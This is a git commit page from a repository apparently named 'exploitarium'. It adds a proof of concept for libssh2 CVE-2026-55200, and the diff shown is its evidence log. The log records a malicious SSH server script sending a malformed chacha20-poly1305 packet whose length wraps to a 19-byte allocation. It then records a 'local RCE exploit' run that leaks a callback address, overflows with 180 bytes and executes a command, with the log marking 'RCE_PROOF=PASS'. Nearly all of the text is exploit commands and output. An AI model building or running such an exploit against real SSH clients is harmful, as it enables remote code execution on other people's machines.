git404/exploitarium
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add libssh2 CVE-2026-55200 trigger and local RCE scaffold

Browse Source
This commit is contained in:
ashton
2026-06-23 05:13:10 -05:00
parent a638a1cf5e
commit da8504bc4d
7 changed files with 1052 additions and 124 deletions
Download Patch File Download Diff File Expand all files Collapse all files

107
libssh2-cve-2026-55200-poc/evidence/2026-06-23-local-harness-output.txt
View File

@@ -1,22 +1,17 @@
Repository HEAD during verification:
cef60fd581c508f1193410f2eb1a9c6cd73523ae
11dde2a60003651746366dc346633a66926f9480
Compiler:
gcc.exe (MinGW-W64 x86_64-ucrt-posix-seh, built by Brecht Sanders, r7) 15.2.0
Build command:
gcc -std=c11 -Wall -Wextra -O0 -g -o libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe libssh2-cve-2026-55200-poc\poc\cve_2026_55200_probe.c
Python:
Python 3.13.12
Built binary SHA256:
06BD85420C0B9DD29681637EFD83F4C5791357CEDF53859183D88018C0375920
Arithmetic verifier build command:
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
Source comment check:
rg "//|/\*|\*/" libssh2-cve-2026-55200-poc\poc\cve_2026_55200_probe.c
exit status: 1
meaning: no comment markers matched
Default benign run:
libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe
Arithmetic verifier run:
.\cve_2026_55200_probe.exe
benign CVE-2026-55200 proof
build_size_t_bytes=8
@@ -31,49 +26,61 @@ vulnerable32_allocation=19
fullpacket_style_length=4294967294
allocation_gap=4294967275
fixed32_decision=rejected: out of boundary
native_unpatched_decision=rejected: out of boundary
native_unpatched_total=4294967315
native_note=64-bit native arithmetic rejects this default input; modeled 32-bit arithmetic remains vulnerable
native_unpatched_decision=accepted
native_unpatched_total=19
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS
Native-size run:
libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe --native
Trigger self-test:
python .\poc\libpwn_cve_2026_55200_server.py --self-test
native-size_t check
build_size_t_bytes=8
build_size_t_bits=64
unpatched_decision=rejected: out of boundary
unpatched_total=4294967315
unpatched_allocation=0
fixed_decision=rejected: out of boundary
fixed_total=0
fixed_allocation=0
Detailed arithmetic run:
libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe --check
detailed CVE-2026-55200 arithmetic check
build_size_t_bytes=8
build_size_t_bits=64
[self-test] chacha20-poly1305@openssh.com packet generator
packet_length=0xffffffff (4294967295)
mac_len=0
auth_len=16
mathematical_total=4294967315
vulnerable32_total=19
vulnerable32_decision=accepted
vulnerable32_allocation=19
encrypted_fragment_len=28
filler_len=64
body_len=8
vulnerable_c_expression_accepted=True
vulnerable_c_expression_allocation=19
fixed_rejects=True
fullpacket_style_length=4294967294
fixed32_decision=rejected: out of boundary
native_unpatched_decision=rejected: out of boundary
native_unpatched_total=4294967315
allocation_gap=4294967275
[self-test] PASS
Final scratch verification build command:
gcc -std=c11 -Wall -Wextra -O0 -g -o ..\cve_2026_55200_probe_verify.exe libssh2-cve-2026-55200-poc\poc\cve_2026_55200_probe.c
Trigger loopback test:
python .\poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
Final scratch verification binary SHA256:
7220CDCF99CE3E456D5E709CF94762FBE502B1782B4F4494FB5D4CD0C9BD5277
[+] client ident: SSH-2.0-libpwn-local-libssh2-mock
[+] negotiated curve25519-sha256 / rsa-sha2-256 / chacha20-poly1305@openssh.com
[+] sent SSH_MSG_NEWKEYS
[+] received client SSH_MSG_NEWKEYS
[+] sent malformed chacha/poly1305 trigger at server seq=3
[+] trigger bytes=92 packet_length=0xffffffff
[loopback-test] minimal SSH handshake/key-derivation path
decrypted_trigger_packet_length=0xffffffff (4294967295)
encrypted_trigger_fragment_len=28
[loopback-test] PASS
Final scratch verification result:
default run result=PASS
--native exited 0
--check exited 0
Local RCE harness build command:
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
Local RCE exploit run:
python .\poc\libpwn_local_rce_exploit.py
LEAK exec_callback=<runtime address> callback_offset=24 command_offset=32 ptr_size=8
accepted packet_length=0xffffffff allocation=19 copy_len=180 body_len=180
exec_callback command=cmd /c echo libpwn-rce-verified><repo>\poc\libpwn_rce_proof.txt
system_rc=0
process_rc=0
payload_len=180
proof_path=<repo>\poc\libpwn_rce_proof.txt
RCE_PROOF=PASS
Proof file:
Get-Content -Raw .\poc\libpwn_rce_proof.txt
libpwn-rce-verified
Python syntax check:
python -m py_compile .\poc\libpwn_cve_2026_55200_server.py .\poc\libpwn_local_rce_exploit.py
exit status: 0